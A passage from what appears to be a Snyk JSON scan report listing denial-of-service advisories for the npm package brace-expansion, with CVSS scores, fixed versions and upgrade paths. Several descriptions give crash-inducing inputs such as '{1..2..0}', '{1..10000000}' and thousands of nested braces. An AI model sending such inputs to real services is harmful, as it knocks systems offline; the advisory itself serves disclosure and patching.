"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": 